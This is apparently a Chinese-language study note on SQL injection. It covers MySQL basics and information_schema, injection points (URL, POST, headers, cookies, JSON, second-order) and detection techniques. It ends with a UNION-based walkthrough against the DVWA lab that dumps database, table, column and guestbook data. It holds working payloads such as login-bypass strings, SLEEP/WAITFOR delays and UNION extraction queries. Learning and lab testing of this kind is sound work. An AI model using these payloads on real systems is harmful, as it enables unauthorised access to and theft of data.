SQL注入漏洞
1.MYSQL
1)MYSQL——一个数据库
2)SQL(结构化查询语言)——用于存取数据以及查询、更新和管理关系数据库系统
php连接数据库:
$connect = mysqli_connect($servername, $username, $password);
3)操作数据库:
(1)增:insert into 表名(字段1,字段2,.......)values(值1,值2,.......);
插入多条数据:
insert into 表名
(字段1,字段2,.......)
values
(值1,值2,.......),
(值11,值12,.......),
(值21,值22,.......);
(2)改:update 表名 set 字段名="值" [where条件];
注:使用where条件,只会修改满足条件的行(记录);不使用where条件,会把字段的所有的值 进行修改。
*(3)查:
select * from 表名;
select */字段 from 表名 [where条件];
星号( * )为通配符,表示所有 ;where条件可选
(4)删:delete from 表名 where 条件;
(5)order by语句:对查询返回的结果排序
SELECT * FROM 表名 ORDER BY 列名(字段名);
注:当order by 后的数字大于当前列数(字段数)时会报错。
(6)LIMIT限制:用于限制SELECT语句返回指定的记录数,接受一个或两个数字参数。
SELECT * FROM 表名 LIMIT 偏移量,限制条数;
4)information_schema数据库
mysql数据库5.0以上自带information_schema数据库
schema表:存储所有数据库信息
schema_name列:存储所有数据库名。
tables表:提供了关于数据库中的表的信息
table_name列:存储所有列名
table_schema列:来自哪个数据库
columns表:提供了表中的列信息
column_name列:存储所有列名
table_name列:来自哪个数据表
table_schema:来自哪个数据库
2.sql注入
分类:
- 根据注入位置分类:GET注入、POST注入、Head头注入。
- 根据结果反馈分类:有回显注入(显错注入)、无回显注入(盲注)
- 根据数据类型分类: a. 字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型 不需要单引号闭合,而字符串类型一般要使用单引号来闭合。 b. 数字型注入:当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数 字型注入。
注入点:
1. URL 参数 (GET 请求)
这是最常见、最容易发现的注入点。参数直接显示在浏览器的地址栏中。
- 位置: URL 问号
?后面的键值对。 - 示例
http://example.com/product.php?id=10(注入点:id)http://example.com/search?q=iphone&sort=price(注入点:q,sort)http://example.com/user.php?name=admin'--
- 常见参数名:
id,page,sort,order,keyword,search,cat,uid等。
2. 表单数据 (POST 请求)
用户通过网页表单提交的数据,虽然不在 URL 中显示,但同样会被后端接收并处理。需要使用抓包工具(如 Burp Suite)查看。
- 位置: HTTP 请求体 (Request Body) 中。
- 场景
- 登录框: 用户名 (
username)、密码 (password)。- Payload:
admin' OR '1'='1
- Payload:
- 搜索框: 搜索关键词。
- 注册/修改资料: 邮箱、昵称、地址等字段。
- 评论/留言: 评论内容。
- 登录框: 用户名 (
- 隐藏注入点: 有时表单中包含隐藏的
input type="hidden"字段,攻击者修改这些值也可能触发注入。
3. HTTP 请求头 (Headers)
很多开发者只过滤了 URL 和 POST 数据,却忽略了 HTTP 头部信息。如果后端代码将头部信息记录到数据库(如日志表、访问统计)或用于查询,这里就是注入点。
- User-Agent: 浏览器标识。很多网站会记录访问者的 UA 到数据库。
- Payload:
Mozilla/5.0 ...' AND SLEEP(5)--
- Payload:
- Referer: 来源页面地址。
- X-Forwarded-For / Client-IP: 用户真实 IP 地址。常用于记录日志或反欺诈查询。
- Payload:
127.0.0.1' UNION SELECT version()--
- Payload:
- Cookie: 会话标识或个性化设置。
- 场景:登录后,服务器可能将 Cookie 中的用户 ID 或权限信息解密后直接用于 SQL 查询。
- Payload:
session_id=abc' OR 1=1--
4. 特殊输入位置
- 文件上传文件名: 如果文件名被存入数据库,且未过滤。
- JSON/XML 数据体: 现代 API (RESTful/GraphQL) 常使用 JSON 格式传输数据。
- 示例:
{"user_id": "1' OR 1=1--", "action": "delete"}
- 示例:
- HTTP Method 本身: 极少见,但如果后端解析逻辑有误,可能利用。
5. 二次注入 (Second-Order Injection)
这是一种隐蔽的注入点。
- 原理: 用户输入的数据第一次被存入数据库时是安全的(因为只是插入),但当这些数据被再次读取并用于构建新的 SQL 语句时(且未过滤),就会触发注入。
- 场景
- 注册时,用户名为
admin' --(存入数据库)。 - 管理员后台查看用户列表时,执行
SELECT * FROM users WHERE name = '$username'。 - 此时
$username取自数据库中的恶意数据,导致注入发生。
- 注册时,用户名为
测试漏洞:
A. 基于错误的注入 (Error-Based)
这是最直接的判断方式。通过在输入框、URL 参数或 Cookie 中提交语法错误的 SQL 语句,观察页面是否返回数据库错误信息。
- 测试 Payload 示例
- 在参数后添加单引号:
id=1' - 添加数学运算:
id=1-1(正常应返回 id=0 的数据) vsid=1'-1(可能报错) - 常见报错字符:
',",;,--,/*,)
- 在参数后添加单引号:
- 判断依据
- 如果页面返回类似
SQL syntax error,MySQL server version,ORA-01756,Unclosed quotation mark等详细的数据库错误堆栈信息,则极大概率存在漏洞。 - 现代应用通常会隐藏错误信息,如果页面直接崩溃(500 Error)或行为异常,也值得怀疑。
- 如果页面返回类似
B. 布尔盲注 (Boolean-Based Blind)
当数据库错误被隐藏时,可以通过构造逻辑判断语句,观察页面内容的变化(真/假)。
- 测试逻辑
- 请求 A (真):
id=1 AND 1=1-> 页面应正常显示内容。 - 请求 B (假):
id=1 AND 1=2-> 页面应显示“无结果”、内容缺失或布局错乱。
- 请求 A (真):
- 判断依据
- 如果两个请求返回的页面内容(HTML 长度、特定文本)有明显差异,说明后端执行了 SQL 逻辑判断,可能存在盲注漏洞。
C. 时间盲注 (Time-Based Blind)
当页面无内容变化且无报错时,可以让数据库执行休眠命令,通过响应时间的延迟来判断。
- 测试 Payload 示例
- MySQL:
id=1' AND SLEEP(5)-- - SQL Server:
id=1'; WAITFOR DELAY '0:0:5'-- - PostgreSQL:
id=1' AND PG_SLEEP(5)--
- MySQL:
- 判断依据
- 如果正常请求响应时间为 0.5 秒,而注入 Payload 的响应时间变成了 5.5 秒左右,说明数据库执行了休眠命令,存在漏洞。
D. 联合查询注入 (Union-Based)
尝试使用 UNION SELECT 语句将恶意查询的结果合并到原查询结果中。
- 测试 Payload
id=1' UNION SELECT NULL, NULL, NULL--(先测试列数)id=1' UNION SELECT 1, 2, 3--(观察页面上是否显示了数字 1, 2, 3)
- 判断依据
- 如果页面上直接显示了注入的数字或数据库版本信息(如
version()),则确认存在漏洞。
- 如果页面上直接显示了注入的数字或数据库版本信息(如
3.联合查询注入
1.判断是否存在注入
利用'(单引号)或者"(双引号)来判断是否存在漏洞,如果出现SQL语句错误说明有很大的可能会 存在漏洞。
2.判断注入类型:
算数运算判断(推荐):
1.首先观察页面正常回显内容,输入,例id=1
2.然后,修改为一个减法运算,如id=2-1
3.观察结果:
数字型:页面回显内容与访问id=1时一致,说明数据库执行了运算,将结果1作为参数进行查询
字符型:页面回显内容与访问id=2时一致,或报错,说明数据库将2-1当作一个字符串整体去查询
逻辑判断:
(1)数字型:当1 and 1=1成功,1 and 1=2失败,是数字型
(2)字符型:当1' and '1'='1成功,1' and '1'='2失败,可判断为字符型
注:以字符型为例
a. 当用户输入1 and 1=1时,SQL语句变成了:
SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=1' ,实际上最
终查询的还是'1'。
b. 当用户输入1 and 1=2时,SQL语句变成了:
SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=2' ,实际上最
终查询的还是'1'。
c. 当用户输入1' and '1'='1时,SQL语句变成了:
SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='1' ,实际
上最终查询的是user_id ='1'并且'1'='1'。
d. 当用户输入1' and '1'='2时,SQL语句变成了:
SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='2' ,实际
上最终查询的是user_id ='1'并且'1'='2'。因为1=2不成立,所以整条语句也都不成立,因
此可以知道页面返回为空是由于sql语句不成立导致的。
3.判断表中列数
为了方便后续获取数据,需要先知道查询的表中显示的字段数,可以使用order by(用于根据指定 的列对结果集进行排序。当order by的数字大于当前的列数时候就会报错,SQL注入利用这个特性来判 断列数)来进行判断。
例:1' order by 1%23(%23是#的url编码,注释掉后面的单引号)
如果当order by 2%23时成功,而order by 3%23时失败,则列数为2
4.确定显示位(回显位)
在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。UNION操作符用于合并两个或多个SELECT 语句的结果集,UNION结果集中的列名总是等于UNION中第一个SELECT语句中的列名,并且UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同
例:输入1' union select 1,2%23时,可以发现1和2都回显到页面中了,说明这两个位置都可以显示 数据。
一般不查询union左边的内容,这是因为程序在展示数据的时候通常只会取结果集的第 一行数据,所以只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么 union右边的查询结果自然就成为了第一行,打印在网页上了。所以让union左边查询不到,可以 将其改为负数或者改为比较大的数字。
例:得知列数为3,则输入-1' union select 1,2,3%23,如果页面显示了2和3,那么第2列和第3列就是显示位
找到显示位后,就可以将数字替换为我们想要查询的数据。
5.获取数据
1.获取数据库名
-1' union select 1,database()%23
database():查库名
2.获取数据库中表名
-1' union select 1,table_name from information_schema.tables where
table_schema='dvwa'%23
table_name :表名
information_schema.tables:information_schema数据库中存放表名的表
table_schema='dvwa':库名为dvwa
3.获取表中字段名
-1' union select 1,column_name from information_schema.columns where
table_name='guestbook' and table_schema='dvwa'%23
column_name:字段名
information_schema.columns:information_schema数据库中存放字段名的表
4.获取表中记录
使用group_concat()(将多行合并成一行)
-1' union select 1,group_concat(comment_id,comment,name) from guestbook%23

一次小尝试୧(๑•̀⌄•́๑)૭